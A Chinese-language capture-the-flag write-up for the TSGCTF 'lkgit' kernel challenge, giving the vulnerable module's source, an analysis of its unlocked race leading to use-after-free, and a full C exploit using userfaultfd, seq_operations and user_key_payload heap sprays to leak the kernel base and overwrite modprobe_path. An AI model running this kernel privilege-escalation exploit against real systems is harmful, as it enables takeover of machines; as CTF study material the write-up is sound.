前言
入门题,单纯就是完成每日一道 kernel pwn
的 kpi
😀
题目分析
- 内核版本:
v5.10.25
,可以使用userfaultfd
,不存在cg
隔离 - 开启了
smap/smep/kaslr/kpti
保护 - 开启了
SLAB_HADNERN/RANDOM
保护
题目给了源码,其实现了一个 light git
?总的来说,整个过程都没有上锁,所以对应临界区资源存在竞争漏洞:
#include <linux/errno.h>
#include <linux/fs.h>
#include <linux/miscdevice.h>
#include <linux/module.h>
#include <linux/miscdevice.h>
#include <linux/slab.h>
#include"../include/lkgit.h"
hash_object *objects[HISTORY_MAXSZ] = {0}; // HISTORY_MAXSZ = 0x30
static int find_by_hash(char *hash) {
int ix;
for (ix = 0; ix != HISTORY_MAXSZ; ++ix) {
if (objects[ix] != NULL && memcmp(hash, objects[ix]->hash, HASH_SIZE) == 0)
return ix;
}
return -1;
}
static void get_hash(char *content, char *buf) {
int ix,jx;
unsigned unit = FILE_MAXSZ / HASH_SIZE;
char c;
for (ix = 0; ix != HASH_SIZE; ++ix) {
c = 0;
for(jx = 0; jx != unit; ++jx) {
c ^= content[ix * unit + jx];
}
buf[ix] = c;
}
}
static long save_object(hash_object *obj) {
int ix;
int dup_ix;
// first, find conflict of hash
// 对应 hash 的 object 是否已经存在,存在则释放掉
if((dup_ix = find_by_hash(obj->hash)) != -1) {
// 仅仅释放了 hash_object,里面的 content/message 指针都没有释放(:存在内存泄漏问题,但是与漏洞利用无关
kfree(objects[dup_ix]);
objects[dup_ix] = NULL;
}
// assign object
// 存储 object
for (ix = 0; ix != HISTORY_MAXSZ; ++ix) {
if (objects[ix] == NULL) {
objects[ix] = obj;
return 0;
}
}
return -LKGIT_ERR_UNKNOWN;
}
static long lkgit_hash_object(hash_object *reqptr) {
long ret = -LKGIT_ERR_UNKNOWN;
char *content_buf = kzalloc(FILE_MAXSZ, GFP_KERNEL); // 0x40
char *message_buf = kzalloc(MESSAGE_MAXSZ, GFP_KERNEL); // 0x20
hash_object *req = kzalloc(sizeof(hash_object), GFP_KERNEL); // 0x20
if (IS_ERR_OR_NULL(content_buf) || IS_ERR_OR_NULL(message_buf) || IS_ERR_OR_NULL(req))
goto end;
if (copy_from_user(req, reqptr, sizeof(hash_object)))
goto end;
if (copy_from_user(content_buf, req->content, FILE_MAXSZ)
|| copy_from_user(message_buf, req->message, MESSAGE_MAXSZ))
goto end;
req->content = content_buf;
req->message = message_buf;
// 计算 content_buf 的 hash,结果存储在 req->hash 中
// content_buf 的大小为 64,hash 的大小为 16
// 所以这里 hash[idx] = content_buf[i] ^ content_buf[i+1] ^ content_buf[i+2] ^ content_buf[i+3]
get_hash(content_buf, req->hash);
// 返回用户 hash 值
if (copy_to_user(reqptr->hash, req->hash, HASH_SIZE)) {
goto end;
}
ret = save_object(req);
end:
return ret;
}
static long lkgit_get_object(log_object *req) {
long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
char hash_other[HASH_SIZE] = {0};
char hash[HASH_SIZE];
int target_ix;
hash_object *target;
if (copy_from_user(hash, req->hash, HASH_SIZE))
goto end;
if ((target_ix = find_by_hash(hash)) != -1) {
target = objects[target_ix];
// 返回 content 给用户
if (copy_to_user(req->content, target->content, FILE_MAXSZ))
goto end;
// validity check of hash
// 检查 hash
get_hash(target->content, hash_other);
if (memcmp(hash, hash_other, HASH_SIZE) != 0)
goto end;
if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ)) // <=========== stop to bypass kaslr
goto end;
if (copy_to_user(req->hash, target->hash, HASH_SIZE))
goto end;
ret = 0;
}
end:
return ret;
}
static long lkgit_amend_message(log_object *reqptr) {
long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
char buf[MESSAGE_MAXSZ];
log_object req = {0};
int target_ix;
hash_object *target;
if(copy_from_user(&req, reqptr->hash, HASH_SIZE))
goto end;
if ((target_ix = find_by_hash(req.hash)) != -1) {
target = objects[target_ix];
// save message temporarily
// 修改 message
if (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ)) // <============== stop to arb_write
goto end;
// return old information of object
ret = lkgit_get_object(reqptr);
// amend message
memcpy(target->message, buf, MESSAGE_MAXSZ);
}
end:
return ret;
}
static long lkgit_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
switch(cmd){
case LKGIT_HASH_OBJECT:
return lkgit_hash_object((hash_object *)arg);
case LKGIT_GET_OBJECT:
return lkgit_get_object((log_object*)arg);
case LKGIT_AMEND_MESSAGE:
return lkgit_amend_message((log_object*)arg);
default:
return -LKGIT_ERR_UNIMPLEMENTED;
};
}
static const struct file_operations lkgit_fops = {
.owner = THIS_MODULE,
.unlocked_ioctl = lkgit_ioctl,
};
static struct miscdevice lkgit_device = {
.minor = MISC_DYNAMIC_MINOR,
.name = "lkgit",
.fops = &lkgit_fops,
};
static int __init lkgit_init(void) {
return misc_register(&lkgit_device);
}
static void __exit lkgit_exit(void) {
misc_deregister(&lkgit_device);
}
module_init(lkgit_init);
module_exit(lkgit_exit);
MODULE_AUTHOR("TSGCTF");
MODULE_LICENSE("GPL");
题目主要维护的结构体如下:
typedef struct {
char hash[HASH_SIZE];
char *content;
char *message;
} hash_object;
typedef struct {
char hash[HASH_SIZE];
char content[FILE_MAXSZ];
char message[MESSAGE_MAXSZ];
} log_object;
通过源码可以看到,这里保存的是 hash_object
结构体,然后 content => kmalloc-64
,message => kmalloc-32
,hash_object => kmalloc-32
,所以这里 message / hash_object
在同一个 slab-cache
中
然后通过源码可以发现,对堆块的释放仅仅在 save_object
函数中存在:
static long save_object(hash_object *obj) {
int ix;
int dup_ix;
// first, find conflict of hash
// 对应 hash 的 object 是否已经存在,存在则释放掉
if((dup_ix = find_by_hash(obj->hash)) != -1) {
// 仅仅释放了 hash_object,里面的 content/message 指针都没有释放(:存在内存泄漏问题,但是与漏洞利用无关
kfree(objects[dup_ix]);
objects[dup_ix] = NULL;
}
// assign object
// 存储 object
for (ix = 0; ix != HISTORY_MAXSZ; ++ix) {
if (objects[ix] == NULL) {
objects[ix] = obj;
return 0;
}
}
return -LKGIT_ERR_UNKNOWN;
}
而且这里只是释放了 hash_object
,而 content / message
对应的内存都没有释放(:这里其实也算是一个 bug
。而 save_object
是在 lkgit_hash_object
中调用的,每次保存创建的 hash_object
时,都会检查 objects
数组中是否存在相同 hash
的 hash_object
,如果存在则会把原来的释放掉
而前面说了,整个过程都没有上锁,所以可以在执行其它操作时,在 save_object
中将原来的 hash_object
释放掉,这时可能会导致 UAF
漏洞利用
题目开启了 kaslr
,所以第一步就是去 bypass kaslr
,这里主要利用 lkgit_get_object
函数:
static long lkgit_get_object(log_object *req) {
long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
char hash_other[HASH_SIZE] = {0};
char hash[HASH_SIZE];
int target_ix;
hash_object *target;
if (copy_from_user(hash, req->hash, HASH_SIZE))
goto end;
if ((target_ix = find_by_hash(hash)) != -1) {
target = objects[target_ix];
// 返回 content 给用户
if (copy_to_user(req->content, target->content, FILE_MAXSZ))
goto end;
// validity check of hash
// 检查 hash
get_hash(target->content, hash_other);
if (memcmp(hash, hash_other, HASH_SIZE) != 0)
goto end;
if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ)) // 【1】 <=========== stop to bypass kaslr
goto end;
if (copy_to_user(req->hash, target->hash, HASH_SIZE)) // 【2】
goto end;
ret = 0;
}
end:
return ret;
}
这里用户传入的是 log_object
结构体:
typedef struct {
char hash[HASH_SIZE];
char content[FILE_MAXSZ];
char message[MESSAGE_MAXSZ];
} log_object;
我们可以在【1】
处使用 userfaultfd
使得暂停,然后释放掉 target
,在堆喷 seq_operations
占据释放后的 target
,那么恢复执行后,在【2】
处就可以泄漏 kbase
(:此时复制的 hash
就是 seq_operations
的前 0x10
字节
后面笔者打的是 modprobe_path
,这里主要利用 lkgit_amend_message
函数:
static long lkgit_amend_message(log_object *reqptr) {
long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
char buf[MESSAGE_MAXSZ];
log_object req = {0};
int target_ix;
hash_object *target;
if(copy_from_user(&req, reqptr->hash, HASH_SIZE))
goto end;
if ((target_ix = find_by_hash(req.hash)) != -1) {
target = objects[target_ix];
// save message temporarily
// 修改 message
if (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ)) // 【1】<============== stop to arb_write
goto end;
// return old information of object
ret = lkgit_get_object(reqptr);
// amend message
memcpy(target->message, buf, MESSAGE_MAXSZ); // 【2】
}
end:
return ret;
}
同样的道理,在【1】
处利用 userfaultfd
使其暂停下来,然后释放掉 target
,此时堆喷 user_key_payload
,并伪造 message
字段为 modprobe_path
,那么恢复执行后,在 【2】
处就是往 modprobe_path
中写入数据
最后 exp
如下:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
void err_exit(char *msg)
{
perror(msg);
sleep(2);
exit(EXIT_FAILURE);
}
void fail_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(2);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
#define LKGIT_HASH_OBJECT 0xdead0001
#define LKGIT_AMEND_MESSAGE 0xdead0003
#define LKGIT_GET_OBJECT 0xdead0004
#define LKGIT_ERR_UNIMPLEMENTED 0xdead1000
#define LKGIT_ERR_OBJECT_NOTFOUND 0xdead1001
#define LKGIT_ERR_UNKNOWN 0xdead1100
#define FILE_MAXSZ 0x40
#define MESSAGE_MAXSZ 0x20
#define HISTORY_MAXSZ 0x30
#define HASH_SIZE 0x10
typedef struct {
char hash[HASH_SIZE];
char *content;
char *message;
} hash_object;
typedef struct {
char hash[HASH_SIZE];
char content[FILE_MAXSZ];
char message[MESSAGE_MAXSZ];
} log_object;
int fd;
uint64_t kbase;
uint64_t koffset;
char ghash[HASH_SIZE];
char gcontent[FILE_MAXSZ];
char gmessage[MESSAGE_MAXSZ];
void add(char* hash, char* content, char* message) {
hash_object o = { .content = content, .message = message };
ioctl(fd, LKGIT_HASH_OBJECT, &o);
memcpy(hash, o.hash, HASH_SIZE);
}
void show(char* hash, char* content, char* message) {
log_object o = { 0 };
memcpy(o.hash, hash, HASH_SIZE);
ioctl(fd, LKGIT_GET_OBJECT, &o);
memcpy(content, o.content, FILE_MAXSZ);
// memcpy(message, o.message, MESSAGE_MAXSZ);
}
void amend(char* hash, char* content, char* message) {
log_object o = { 0 };
memcpy(o.hash, hash, HASH_SIZE);
memcpy(o.message, message, MESSAGE_MAXSZ);
ioctl(fd, LKGIT_GET_OBJECT, &o);
memcpy(content, o.content, FILE_MAXSZ);
}
int key_alloc(char *description, char *payload, size_t plen)
{
return syscall(__NR_add_key, "user", description, payload, plen,
KEY_SPEC_PROCESS_KEYRING);
}
void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);
uffdio_register.range.start = (long long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);
if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}
char copy_src[0x1000];
void* handler1(void* arg)
{
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
long uffd = (long)arg;
for(;;)
{
int res;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);
res = read(uffd, &msg, sizeof(msg));
if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);
puts("[+] Now in userfaultfd handler1");
#define SEQ_NUMS 0x30
int seq_fds[SEQ_NUMS];
memset(gcontent, 0, FILE_MAXSZ);
add(ghash, gcontent, gmessage);
for (int i = 0; i < 0x20; i++) {
seq_fds[i] = open("/proc/self/stat", O_RDONLY);
if (seq_fds[i] < 0) err_exit("open /proc/self/stat");
}
uffdio_copy.src = (long long)copy_src;
uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
}
}
void* handler2(void* arg)
{
struct uffd_msg msg;
struct uffdio_copy uffdio_copy;
long uffd = (long)arg;
for(;;)
{
int res;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);
res = read(uffd, &msg, sizeof(msg));
if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);
puts("[+] Now in userfaultfd handler2");
#define KEY_NUMS 0x30
char desc[0x10];
uint64_t buf[4];
int key_ids[KEY_NUMS];
buf[0]=buf[1]=buf[2]=buf[3]= koffset + 0xffffffff81c3cb20;
memset(ghash, 0, HASH_SIZE);
memcpy(gcontent, "ABCD", 4);
add(ghash, gcontent, gmessage);
for (int i = 0; i < KEY_NUMS; i++) {
sprintf(desc, "%s%d", "k", i);
key_ids[i] = key_alloc(desc, buf, 8);
if (key_ids[i] < 0) err_exit("key_alloc");
}
memcpy(copy_src, "/tmp/x", strlen("/tmp/x"));
uffdio_copy.src = (long long)copy_src;
uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
}
}
void get_flag(){
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /home/user/flag' > /tmp/x");
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
system("/tmp/dummy");
sleep(0.3);
system("cat /home/user/flag");
exit(0);
}
int main(int argc, char** argv, char** envp)
{
bind_core(0);
char buf[0x1000] = { 0 };
char hash[HASH_SIZE] = { 0 };
char content[FILE_MAXSZ] = { 0 };
char message[MESSAGE_MAXSZ] = { 0 };
pthread_t thr1, thr2;
char* uffd1_buf, *uffd2_buf;
fd = open("/dev/lkgit", O_RDONLY);
if (fd < 0) err_exit("open /dev/lkgit");
uffd1_buf = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
uffd2_buf = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (uffd1_buf == MAP_FAILED || uffd2_buf == MAP_FAILED) err_exit("mmap for uffd_buf");
register_userfaultfd(&thr1, uffd1_buf+0x1000, 0x1000, handler1);
register_userfaultfd(&thr2, uffd2_buf+0x1000, 0x1000, handler2);
memset(content, 0, FILE_MAXSZ);
add(hash, content, message);
log_object* o = (log_object*)(uffd1_buf + 0x1000 - HASH_SIZE - FILE_MAXSZ);
memcpy(o->hash, hash, HASH_SIZE);
ioctl(fd, LKGIT_GET_OBJECT, o);
binary_dump("LEAK DATA", o->hash, HASH_SIZE);
koffset = *(uint64_t*)(o->hash);
if (koffset&0xfff != 0xc20) fail_exit("bypase kaslr");
koffset -= 0xffffffff811adc20;
kbase = 0xffffffff81000000 + koffset;
printf("[+] koffset: %#llx\n", koffset);
memcpy(content, "ABCD", 4);
add(hash, content, message);
o = (log_object*)(uffd2_buf + 0x1000 - HASH_SIZE - FILE_MAXSZ);
memcpy(o->hash, hash, HASH_SIZE);
ioctl(fd, LKGIT_AMEND_MESSAGE, o);
get_flag();
puts("[+] EXP NERVER END");
return 0;
}
效果如下:
总结
题目比较简单,userfaultfd
的艺术其实基本用不了了,但是我发现我越来越依赖 modprobe_path
了,然后 user_key_payload
真是一个比较完美的堆喷对象